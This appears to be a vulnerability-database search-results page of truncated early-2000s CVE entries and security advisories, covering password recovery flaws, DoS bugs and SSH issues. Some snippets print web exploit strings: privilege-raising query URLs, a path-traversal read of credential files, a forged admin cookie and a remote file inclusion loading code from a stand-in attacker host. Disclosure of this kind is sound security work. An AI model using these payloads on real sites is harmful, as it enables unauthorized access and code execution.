9708 matches found
CVE-2002-0065
The CVE-2002-0065 issue affects Funk Software Proxy Host 3.x on Windows 2000/NT4 and Windows 9x. The root cause is weakly encrypted/stored passwords (obfuscated registry value on Windows 2000/NT4; PHOST.INI on Windows 9x), enabling local users to recover passwords and gain privileges. The attack ...
CVE-2002-0065
Funk Software Proxy Host 3.x uses weak encryption for the Proxy Host password, which allows local users to gain privileges by recovering the passwords from the PHOST.INI file or the Windows registry...
Security holes : Rose, EasyNews, User Online, Mon Album, KorWebLog
Hello people : Product 1 : Rose http://www.jinxm.co.uk Version : 4.52 Problem : - Admin access Exploit : - newsadmin/upload.php?userinfousername=hop&userinfouserlevel=100 Product 2 : EasyNews http://www.webrc.ca Version : 4.3 Problem : - Admin access Exploits : - admin.php?enlogid=0&action=users ...
Security holes in two Teekai's products + security hole in ncmail.netscape.com
Hi : Products : Tracking Online 1.0 Teekai's forum full 1.2 http://www.teekai.info Problems : Tracking Online & Teekai's forum : - Informations recovery - Informations decoding Teekai's forum : - Admin access - small holes Tracking Online : -XSS Exploits : Forum & Tracking : - Php file to decode...
Cisco IOS ICMP redirect DoS - Cisco's response
-----BEGIN PGP SIGNED MESSAGE----- Hello, We can confirm the finding made by [email protected]. This issue is assigned Cisco bug ID CSCdx32056. The fix has been developed and it is being committed into all affected releases. The situation in Cisco IOS 12.x code is that the redirect cache will only...
Security holes : Pseudo-Frame, PG, KvPoll, Phorum, BanMat
Product 1 : Pseudo Frame 1.0 http://www.clicky-web.net Problem : - Including file Exploit : - http://www.site.com/index.php? page=http://www.haxor.com/file with file.php on http://www.haxor.com . Product 2 : PG 1.0 http://www.clicky-web.net Problems : - XSS - Path Disclosure Exploits : -...
NTFS and PGP interact to expose EFS encrypted data
-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 NTFS and PGP interact to expose EFS encrypted data c 2002 Ry Jones, Airgap Networks. Summary: NTFS, a feature of Windows XP, supports an "encrypted" attribute. PGP 7.0.3 Freeware, a product of Network Associates, supports wiping files as they are...
CVE-2002-0065
Funk Software Proxy Host 3.x uses weak encryption for the Proxy Host password, which allows local users to gain privileges by recovering the passwords from the PHOST.INI file or the Windows registry...
Security holes : Linker, Pharao
Product1 : Linker http://enproject.codelib.co.kr Versions : 2.0 Problems : - Reading in HD - Informations recovery passwords, DBHOST, DBUSER,... Exploits : - /imageview.php?uid=../function/passinfo.php or /imageview.php?uid=../function/baseinfo.php - Set cookies : "adminlogin","1"...
Security holes in Powerboard forum
Product : Powerboards http://powerboards.sourceforge.net/ Versions : 2.2b and less ? Problems : - Cross Site Scripting - Path disclosure - Access to the administration - Access to users accounts without password - Recovery of admins/users passwords - Suppression of messages - Writing on the hard...
Получение пароля AOL Instant Messenger
Можно получить пароль AOL Instant Messenger создав учетную запись AOL с тем же именем...
Snort 1.8.3 - ICMP Denial of Service
source: https://www.securityfocus.com/bid/3849/info Snort is a network intrusion detection system IDS. It is originally written for Linux and Unix systems, although it has also been ported to run under Microsoft Windows. Snort is capable of flexible and powerful content analysis of network traffi...
CVE-2001-1546
Pathways Homecare 6.5 uses weak encryption for user names and passwords, which allows local users to gain privileges by recovering the passwords from the pwhc.ini file...
PT-2001-2631 · Pathways · Pathways Homecare
Name of the Vulnerable Software and Affected Versions: Pathways Homecare version 6.5 Description: The issue concerns the use of weak encryption for user names and passwords. This weakness allows local users to gain privileges by recovering the passwords from the pwhc.ini file. Recommendations: Fo...
Microsoft Windows XP2000 - GDI Denial of Service
Microsoft Windows XP2000 - GDI Denial of Service source: https://www.securityfocus.com/bid/3481/info The Windows Graphics Device Interface GDI is a set of Application Programming Interfaces APIs used to display graphical output. A vulnerability exists which causes the GDI to invoke a Kernel Mode...
CVE-1999-1524
FlowPoint DSL router firmware versions prior to 3.0.8 allows a remote attacker to exploit a password recovery feature from the network and conduct brute force password guessing, instead of limiting the feature to the serial console port...
CVE-2001-0597
Zetetic Secure Tool for Recalling Important Passwords STRIP 0.5 and earlier for the PalmOS allows a local attacker to recover passwords via a brute force attack. This attack is made feasible by STRIP's use of SysRandom, which is seeded by TimeGetTicks, and an implementation flaw which vastly...
Security Advisory: Multiple SSH vulnerabilities
-----BEGIN PGP SIGNED MESSAGE----- Security Advisory: Multiple SSH vulnerabilities Revision 1.0 - INTERIM For public release 2001 June 27 08:00 UTC -0800 Summary Three different Cisco product lines are susceptible to multiple vulnerabilities in the Secure Shell SSH protocol. These issues are...
CVE-2001-0259
ssh-keygen in ssh 1.2.27 - 1.2.30 with Secure-RPC can allow local attackers to recover a SUN-DES-1 magic phrase generated by another user, which the attacker can use to decrypt that user's private key file...